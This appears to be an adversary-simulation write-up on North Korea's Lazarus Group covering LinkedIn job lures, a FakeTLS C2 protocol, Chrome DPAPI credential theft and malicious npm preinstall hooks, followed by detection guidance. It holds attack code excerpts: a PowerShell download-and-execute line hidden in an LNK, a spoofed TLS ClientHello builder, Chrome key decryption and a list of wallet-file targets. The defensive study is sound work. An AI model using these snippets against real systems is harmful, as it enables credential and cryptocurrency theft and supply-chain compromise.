Lazarus Group

Origin: North Korea (DPRK) — State-Sponsored

Aliases: HIDDEN COBRA, Zinc, Diamond Sleet, APT38, BlueNoroff

Active Since: 2009 (attributed publicly 2014 — Sony Pictures hack)

Targets: Cryptocurrency Exchanges, Financial Institutions, Defense Contractors, Software Developers

Focus Areas: Financial Theft, Social Engineering, Supply Chain Attacks, Browser Zero-Days

Overview

Lazarus Group stole $1.34 billion in cryptocurrency in 2024 alone. They're not just hackers — they're a revenue operation for a sanctioned regime. The DPRK's cyber program funds approximately 30% of the country's weapons development, and Lazarus is the tip of the spear.

What sets Lazarus apart is their range. The same organization that hit Sony Pictures with a destructive wiper runs sophisticated social engineering campaigns on LinkedIn, deploys browser zero-days against cryptocurrency traders, and plants supply chain backdoors in npm packages. This simulation covers their four most active TTPs from 2023-2024.


MITRE ATT&CK Mapping

Tactic Technique Simulation Tool
Initial Access T1566.003 — Spearphishing via LinkedIn (Operation Dream Job) dream_job_lure.py
Execution T1204.002 — Malicious File (trojanized skills assessment) dream_job_lure.py
Defense Evasion T1014 — Rootkit (FudModule kernel callbacks) fudmodule_rootkit.py
Command & Control T1071.001 — FakeTLS Protocol over HTTPS faketls_c2.py
Credential Access T1555.003 — Chrome DPAPI Credential Theft chrome_stealer.cpp
Initial Access T1195.002 — Supply Chain (npm preinstall hooks) npm_supply_chain/

Operation Dream Job

Lazarus's social engineering is some of the most sophisticated in the world. Operation Dream Job targets software developers and cryptocurrency engineers through fake recruiter profiles on LinkedIn. The operator builds rapport over weeks — real conversations, believable company details (front companies like "BlockNovas LLC"), and eventually a "skills assessment" that's actually a trojanized ZIP file.

The simulation generates realistic lure packages: a ZIP containing a fake PDF job description and an LNK file disguised as a code challenge. The LNK file abuses Windows shortcut target parsing — the visible target shows notepad.exe but the actual target executes a hidden PowerShell command that downloads and runs the second-stage payload.

# Generate the social engineering lure package class DreamJobLure: def __init__(self, target_name, target_role): self.company = random.choice([ "BlockNovas LLC", "SoftGlide Tech", "Angeloper Agency" ]) self.role = f"Senior {target_role} - Remote" self.salary = f"${random.randint(180, 350)}k base + token allocation" def create_lnk_payload(self): # LNK target field shows benign application visible_target = r"C:\Windows\notepad.exe" # Actual execution hides in LNK arguments hidden_cmd = ( f"powershell -w hidden -ep bypass " f"-c \"IEX(New-Object Net.WebClient)." f"DownloadString('{self.c2_url}/stage2.ps1')\"" )

FakeTLS: Protocol-Level Deception

This was the most technically interesting piece of the entire project. Lazarus's C2 protocol constructs packets that are structurally identical to a TLS 1.2 handshake. SSL inspection appliances see a valid ClientHello with real cipher suites, a proper SNI extension pointing to www.microsoft.com, and a ServerHello with a legitimate-looking session ID. Everything checks out structurally.

But it's all fake. The "Application Data" records contain XOR-encrypted JSON commands, not actual TLS-protected content. The protocol never completes a real cryptographic handshake. This works because most network security appliances validate TLS structure but don't verify the actual cryptographic exchange.

# Construct a ClientHello that looks identical to Chrome's def build_client_hello(self, sni_hostname="www.microsoft.com"): # TLS record header record = struct.pack('!B', 0x16) # Content type: Handshake record += struct.pack('!H', 0x0301) # TLS 1.0 (compat) # Handshake header hello = struct.pack('!B', 0x01) # ClientHello hello += struct.pack('!H', 0x0303) # TLS 1.2 # 32 bytes random (mimics real browser entropy) hello += os.urandom(32) # Cipher suites — same order Chrome advertises cipher_suites = [ 0xc02c, # TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 0xc02b, # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 0xc030, # TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 0xc02f, # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 0x009f, # TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 0x009e, # TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 ] # SNI extension — network logs show "www.microsoft.com" sni_ext = self._build_sni_extension(sni_hostname) hello += sni_ext

Detection requires going beyond structure validation. You need JA3/JA3S fingerprinting to spot the mismatch between the claimed browser identity and the actual TLS parameters. Alternatively, full session reconstruction that detects the absence of a Certificate message in the handshake sequence reveals the deception — a real TLS session always includes the server's certificate.


Chrome DPAPI Credential Theft

Lazarus targets cryptocurrency developers specifically because they often have wallet extensions, exchange sessions, and private keys accessible through their browser. The C++ stealer extracts Chrome's encrypted cookie and credential databases, retrieves the AES key from the Local State file (itself encrypted with Windows DPAPI), and decrypts everything in-memory.

// Decrypt Chrome's master key via Windows DPAPI DATA_BLOB encrypted_key_blob, decrypted_key_blob; encrypted_key_blob.pbData = key_bytes.data(); encrypted_key_blob.cbData = key_bytes.size(); CryptUnprotectData( &encrypted_key_blob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, &decrypted_key_blob ); // Use decrypted AES-256-GCM key to decrypt cookies/passwords // Nonce: first 12 bytes of encrypted value (after "v10" prefix) // Tag: last 16 bytes

npm Supply Chain Attack

Lazarus has been publishing malicious npm packages under names that typosquat popular crypto libraries — crypto-price-tracker, web3-wallet-connect. The preinstall hook in package.json runs automatically when a developer runs npm install, requiring zero interaction.

The payload detects CI/CD environments by checking for CI, GITHUB_ACTIONS, JENKINS_URL environment variables. It enumerates cryptocurrency wallet files (.bitcoin, .ethereum, MetaMask extension storage), and exfiltrates over DNS queries to avoid HTTPS monitoring.

// package.json — preinstall runs before anything else { "name": "crypto-price-tracker", "version": "2.1.4", "scripts": { "preinstall": "node index.js" } } // index.js payload checks for CI/CD and wallets const walletPaths = [ path.join(home, '.bitcoin', 'wallet.dat'), path.join(home, '.ethereum', 'keystore'), path.join(home, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Local Extension Settings', 'nkbihfbeogaeaoehlefnkodbefgpgknn') // MetaMask ];

Detection Guidance

Key Challenge: Lazarus operates across multiple vectors simultaneously — social engineering, protocol deception, supply chain compromise, and credential theft. No single detection covers the full kill chain.

What to hunt for:

1. JA3 fingerprint mismatches between claimed browser and actual TLS parameters
2. TLS sessions missing Certificate messages in the handshake sequence
3. npm audit alerts and preinstall script analysis in CI/CD pipelines
4. DPAPI calls from non-browser processes accessing Chrome's Local State
5. DNS TXT queries with high-entropy subdomain labels from developer workstations
6. LNK files with argument lengths exceeding typical Windows shortcut size

Full simulation code available on GitHub.